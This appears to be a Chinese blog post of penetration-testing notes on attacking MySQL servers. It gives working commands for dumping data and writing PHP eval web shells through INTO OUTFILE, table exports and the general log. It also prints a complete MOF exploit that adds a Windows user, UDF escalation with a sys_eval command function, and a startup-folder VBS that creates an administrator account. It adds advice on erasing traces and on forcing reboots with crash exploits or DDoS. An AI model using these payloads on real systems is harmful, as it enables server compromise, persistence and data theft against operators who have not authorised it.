Mysql的写马与提权

密码读取

  1. 直接从配置文件中读取数据库账号密码
  2. 爆破账号密码
  3. 读取数据库目录中的user.MYD,root后的字符串为其用户加密值,在线解密或者hashcat即可

脱库

利用条件:

  1. 权限为root
  2. secure_file_priv没有具体值
show global variables like '%secure_file_priv%'; 查看secure_file_priv的值
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

Into outfile

select * from test into outfile '/tmp/test.txt'

Into dumpfile

 select * from test into dumpfile '/tmp/test.txt'

out file 与 dump file的脱裤区别

1.dumpfile只输出一行内容,outfile多行。
2.outfile函数在将数据写入到文件时会进行特殊格式转换 例如\n,则dumpfile则保持原数据格式。

若我们想把一个可执行2进制文件用into outfile函数导出,事实上导出后就会被破坏

因为into outfile函数会在行末端写入新行 更致命的是会转义换行符,这样的话这个2进制可执行文件就会被破坏

这时候我们用into dumpfile就能导出一个完整能执行的2进制 文件

into dumpfile函数不对任何列或行进行终止,也不执行任何转义处理

写Web Shell

利用条件:

  1. 权限为root
  2. secure_file_priv没有具体值
show global variables like '%secure_file_priv%'; 查看secure_file_priv的值
secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

直接写入

select '<php eval($_POST[shell])?>' into outfile 'c:\\shell.php';
select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php';

创建表

1.先创建数据表

CREATE  table 'mysql'.'shell' ('webshell'  text not null);

2.向表单中写入一句话

insert Into mysql.shell values('<?php $eval($_POST[shell]);?>');

3.查询数据导出webshell

select 'webshell' from 'shell'  into outfile 'c:\\1.php';

4.删除表,清理痕迹。

drop table if exists 'shell';

日志

1.查看genera文件配置情况

show global variables like "%genera%";

2.开启日志记录

set global general_log='on';

3.日志文件导出指定目录

set global general_log_file='C:/phpstudy/WWW/hp.php';

4.记录sql语句写马,演示一下,没有安全狗,直接传原马

select '<?php @eval($_POST["hp"]); ?>';

5.关闭记录

set global general_log=off;

提权

mof提权

MOF提权的条件要求十分严苛:

  1. windows 03及以下版本
  2. mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录
  3. secure-file-priv参数不为null

MOF文件:托管对象格式 (MOF) 文件是创建和注册提供程序、事件类别和事件的简便方法。文件路径为:c:/windows/system32/wbme/mof/,其作用是每隔五秒就会去监控进程创建和死亡。

提权原理:MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

公开的nullevt.mof利用代码:

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

MOF文件利用:

将上面的脚本上传到有读写权限的目录下:

这里我上传到了C:\Documents and Settings\test

根据前面的phpmyadmin,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/
payload:

select load_file("C:/Documents and Settings/testtest.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

值得一提的是,这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据。

验证提权:

当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。

image-20201007180354716

可以看到,我们在test的普通用户下直接添加了hpdoger用户。剩下的操作就是用户命令处,换成加入administrator语句即可:

net.exe user localgroup administrator hpdoger /add\

关于MOF提权的弊端:

我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

cmd 下运行下面语句:

net stop winmgmt
del c:/windows/system32/wbem/repository
net start winmgmt

重启服务即可。

udf提权

什么是udf:UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展,用户通过自定义函数来实现在MySQL中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像本机函数如ABS()或SOUNDEX()一样方便。

提权分析:udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON调用dll中的函数后,mysql账号转化为system权限,从而来提权。

导出dll到指定目录:利用提权马将写在其中的二进制导出一个dll到指定目录,但导出的dll文件路径有要求

  • Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
  • Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

但是大于5.1版本的时候没有plugin这个文件夹,需要我们自己创建。

将udf的自定义函数引入:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'hpudf.dll'  #引入sys_eval函数

其中,sys_eval函数是执行任意命令,并将输出返回函数的名字,hpudf.dll是你导出文件的名字;

常见的函数如下:

cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

执行命令:

select sys_eval('ipconfig');

添加用户/管理员

image-20201007193802262

查用户

image-20201007193753266

启动项提权

利用条件:

  1. 上传的目录必须具备可读写的权限
  2. 调用的 cmd 也必须有足够的权限

利用SQL命令来进行VBS脚本的创建及添加。

create table secist(cmd text);

insert into secist values(“set wshshell=createobject(“”wscript.shell””)”);

insert into secist values(“a=wshshell.run(“”cmd.exe /c net user secist secist.com /add“”,0)”);

insert into secist values(“b=wshshell.run(“”cmd.exe /c net localgroup administrators secist /add“”,0)”);

select * from secist into dumpfile “C:\Documents and Settings\All Users\「开始」菜单\程序\启动\secist.vbs”;

可以利用一些可导致服务器蓝屏的EXP,或者DDoS拒绝服务,让管理员重启服务器。

参考

  1. https://xz.aliyun.com/t/2719
  2. https://xz.aliyun.com/t/1491
  3. https://paper.seebug.org/20/
  4. https://www.jianshu.com/p/c030eb729410
posted @ 2020-10-07 23:21  lktop  阅读(1168)  评论(0编辑  收藏  举报